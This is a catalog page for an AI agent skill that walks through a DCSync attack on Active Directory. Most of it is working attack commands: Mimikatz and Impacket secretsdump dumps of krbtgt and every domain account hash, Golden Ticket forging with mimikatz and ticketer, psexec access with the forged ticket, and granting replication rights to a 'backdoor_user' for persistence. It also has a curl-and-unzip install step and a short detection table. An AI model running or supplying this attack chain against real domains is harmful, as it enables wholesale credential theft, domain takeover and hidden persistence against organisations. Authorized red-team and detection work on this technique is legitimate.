conducting-domain-persistence-with-dcsync
Simulates DCSync attacks to extract Active Directory credentials for authorized red-teaming and security testing.
Install
mkdir -p .claude/skills/conducting-domain-persistence-with-dcsync && curl -L -o skill.zip "https://agentskills.codes/api/skills/download/16339" && unzip -o skill.zip -d .claude/skills/conducting-domain-persistence-with-dcsync && rm skill.zipInstalls to .claude/skills/conducting-domain-persistence-with-dcsync
Activation
This is the description your AI agent reads to decide when to run this skill — the better it matches your request, the more reliably it fires.
Perform DCSync attacks to replicate Active Directory credentials andKey capabilities
- →Identify accounts with DCSync (replication) rights in Active Directory
- →Perform DCSync using Mimikatz or Impacket's secretsdump.py
- →Extract the KRBTGT account hash for Golden Ticket creation
- →Dump all domain user password hashes for credential analysis
- →Forge Golden Tickets for persistent domain access
- →Grant DCSync rights to a controlled account for alternative persistence
How it works
The skill outlines a workflow to identify accounts with DCSync rights, perform DCSync using tools like Mimikatz or Impacket, extract critical hashes (e.g., KRBTGT), and then forge Golden Tickets for domain persistence.
Inputs & outputs
When to use conducting-domain-persistence-with-dcsync
- →Authorized red-teaming
- →Testing AD credential security
- →Simulating persistence threats
About this skill
Conducting Domain Persistence with DCSync
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
Overview
DCSync is an attack technique that abuses the Microsoft Directory Replication Service Remote Protocol (MS-DRSR) to impersonate a Domain Controller and request password data from the target DC. The attack was introduced by Benjamin Delpy (Mimikatz author) and Vincent Le Toux, leveraging the DS-Replication-Get-Changes and DS-Replication-Get-Changes-All extended rights. Any principal (user or computer) with these rights can replicate password hashes for any account in the domain, including the KRBTGT account. With the KRBTGT hash, attackers can forge Golden Tickets for indefinite domain persistence. DCSync is categorized as MITRE ATT&CK T1003.006 and is a critical post-exploitation technique used by APT groups including APT28 (Fancy Bear), APT29 (Cozy Bear), and FIN6.
When to Use
- When conducting security assessments that involve conducting domain persistence with dcsync
- When following incident response procedures for related security events
- When performing scheduled security testing or auditing activities
- When validating security controls through hands-on testing
Prerequisites
- Familiarity with red teaming concepts and tools
- Access to a test or lab environment for safe execution
- Python 3.8+ with required dependencies installed
- Appropriate authorization for any testing activities
Objectives
- Identify accounts with DCSync (replication) rights in Active Directory
- Perform DCSync using Mimikatz or Impacket's secretsdump.py
- Extract the KRBTGT account hash for Golden Ticket creation
- Dump all domain user password hashes for credential analysis
- Forge Golden Tickets for persistent domain access
- Grant DCSync rights to a controlled account for alternative persistence
- Document the attack chain and persistence mechanisms
MITRE ATT&CK Mapping
- T1003.006 - OS Credential Dumping: DCSync
- T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket
- T1222.001 - File and Directory Permissions Modification: Windows
- T1098 - Account Manipulation
- T1078.002 - Valid Accounts: Domain Accounts
Workflow
Phase 1: Identify Accounts with DCSync Rights
- Enumerate principals with replication rights:
# Using PowerView Get-DomainObjectAcl -SearchBase "DC=domain,DC=local" -ResolveGUIDs | Where-Object { ($_.ObjectAceType -match 'Replicating') -and ($_.ActiveDirectoryRights -match 'ExtendedRight') } | Select-Object SecurityIdentifier, ObjectAceType # Using BloodHound Cypher query MATCH (u)-[:DCSync|GetChanges|GetChangesAll*1..]->(d:Domain) RETURN u.name, d.name - Using Impacket's FindDelegation or custom LDAP query:
# Check with Impacket findDelegation.py domain.local/user:'Password123' -dc-ip 10.10.10.1 - Default accounts with DCSync rights:
- Domain Admins
- Enterprise Admins
- Domain Controllers group
- SYSTEM on Domain Controllers
Phase 2: DCSync Credential Extraction
- Using Mimikatz (Windows):
# Dump specific account (KRBTGT for Golden Ticket) mimikatz.exe "lsadump::dcsync /domain:domain.local /user:krbtgt" # Dump Domain Admin mimikatz.exe "lsadump::dcsync /domain:domain.local /user:administrator" # Dump all domain accounts mimikatz.exe "lsadump::dcsync /domain:domain.local /all /csv" - Using Impacket secretsdump.py (Linux):
# Dump all credentials secretsdump.py domain.local/admin:'Password123'@10.10.10.1 # Dump specific user secretsdump.py -just-dc-user krbtgt domain.local/admin:'Password123'@10.10.10.1 # Dump only NTLM hashes (no Kerberos keys) secretsdump.py -just-dc-ntlm domain.local/admin:'Password123'@10.10.10.1 # Using Kerberos authentication export KRB5CCNAME=admin.ccache secretsdump.py -k -no-pass domain.local/[email protected]
Phase 3: Golden Ticket Creation
- Using Mimikatz with extracted KRBTGT hash:
# Create Golden Ticket mimikatz.exe "kerberos::golden /user:administrator /domain:domain.local \ /sid:S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX \ /krbtgt:<krbtgt_ntlm_hash> /ptt" # Create with specific group memberships mimikatz.exe "kerberos::golden /user:fakeadmin /domain:domain.local \ /sid:S-1-5-21-XXXXXXXXXX \ /krbtgt:<krbtgt_ntlm_hash> \ /groups:512,513,518,519,520 /ptt" - Using Impacket ticketer.py (Linux):
# Create Golden Ticket ticketer.py -nthash <krbtgt_ntlm_hash> -domain-sid S-1-5-21-XXXXXXXXXX \ -domain domain.local administrator # Use the ticket export KRB5CCNAME=administrator.ccache psexec.py -k -no-pass domain.local/[email protected]
Phase 4: Persistence via DCSync Rights
- Grant DCSync rights to a controlled account for persistence:
# Using PowerView - Add DS-Replication-Get-Changes-All rights Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=local" \ -PrincipalIdentity backdoor_user -Rights DCSync # Verify rights were added Get-DomainObjectAcl -SearchBase "DC=domain,DC=local" -ResolveGUIDs | Where-Object { $_.SecurityIdentifier -match "backdoor_user_SID" } - Using ntlmrelayx.py for automated DCSync rights escalation:
# Relay authentication to add DCSync rights ntlmrelayx.py -t ldap://DC01.domain.local --escalate-user backdoor_user
Tools and Resources
| Tool | Purpose | Platform |
|---|---|---|
| Mimikatz | DCSync extraction, Golden Ticket creation | Windows |
| secretsdump.py | Remote DCSync (Impacket) | Linux (Python) |
| ticketer.py | Golden Ticket creation (Impacket) | Linux (Python) |
| PowerView | ACL enumeration and modification | Windows (PowerShell) |
| Rubeus | Kerberos ticket manipulation | Windows (.NET) |
| ntlmrelayx.py | DCSync rights escalation via relay | Linux (Python) |
Critical Hashes to Extract
| Account | Purpose | Persistence Value |
|---|---|---|
| krbtgt | Golden Ticket creation | Indefinite domain access |
| Administrator | Direct DA access | Immediate privileged access |
| Service accounts | Lateral movement | Service access across domain |
| Computer accounts | Silver Ticket creation | Service-level impersonation |
Detection Signatures
| Indicator | Detection Method |
|---|---|
| DrsGetNCChanges RPC calls from non-DC sources | Network monitoring for DRSUAPI traffic from unusual IPs |
| Event 4662 with Replicating Directory Changes GUIDs | Windows Security Log on DC (1131f6aa-/1131f6ad- GUIDs) |
| Event 4624 with Golden Ticket anomalies | Logon events with impossible SIDs or non-existent users |
| ACL modifications on domain root object | Event 5136 (directory service changes) |
| Replication traffic volume spike | Network baseline deviation monitoring |
Validation Criteria
- Accounts with DCSync rights enumerated
- KRBTGT hash extracted via DCSync
- All domain credentials dumped successfully
- Golden Ticket forged and validated for DA access
- DCSync rights persistence mechanism established (if in scope)
- Access to Domain Controller validated with Golden Ticket
- Evidence documented with hash values and timestamps
- Remediation recommendations provided (double KRBTGT reset, ACL audit)
When not to use it
- →For unauthorized security testing against systems you do not own
- →When not conducting security assessments involving domain persistence with DCSync
- →When not performing scheduled security testing or auditing activities
Prerequisites
Limitations
- →This skill is for authorized security testing and educational purposes only
- →Unauthorized use against systems you do not own or have written permission to test is illegal
- →Requires appropriate authorization for any testing activities
How it compares
This skill provides a detailed, step-by-step guide for conducting DCSync attacks and establishing domain persistence, focusing on specific tools and techniques used in red-teaming scenarios, unlike general Active Directory management.
Compared to similar skills
conducting-domain-persistence-with-dcsync side by side with the closest alternatives in the catalog.
| Skill | Installs | Updated | Safety | Difficulty |
|---|---|---|---|---|
| conducting-domain-persistence-with-dcsync (this skill) | 0 | 2mo | Review | Advanced |
| reverse-engineering-tools | 73 | 4mo | No flags | Advanced |
| game-hacking-techniques | 42 | 2mo | No flags | Advanced |
| solidity-security | 15 | 2mo | No flags | Intermediate |
Try saying
Example prompts that trigger this skill in your AI assistant.
More by mukul975
View all by mukul975 →You might also like
reverse-engineering-tools
gmh5225
Guide for reverse engineering tools and techniques used in game security research. Use this skill when working with debuggers, disassemblers, memory analysis tools, binary analysis, or decompilers for game security research.
game-hacking-techniques
gmh5225
Guide for game hacking techniques and cheat development. Use this skill when researching memory manipulation, code injection, ESP/aimbot development, overlay rendering, or game exploitation methodologies.
solidity-security
wshobson
Master smart contract security best practices to prevent common vulnerabilities and implement secure Solidity patterns. Use when writing smart contracts, auditing existing contracts, or implementing security measures for blockchain applications.
1password
openclaw
Set up and use 1Password CLI (op). Use when installing the CLI, enabling desktop app integration, signing in (single or multi-account), or reading/injecting/running secrets via op.
senior-security
davila7
Comprehensive security engineering skill for application security, penetration testing, security architecture, and compliance auditing. Includes security assessment tools, threat modeling, crypto implementation, and security automation. Use when designing security architecture, conducting penetration tests, implementing cryptography, or performing security audits.
ghidra
mitsuhiko
Reverse engineer binaries using Ghidra's headless analyzer. Decompile executables, extract functions, strings, symbols, and analyze call graphs without GUI.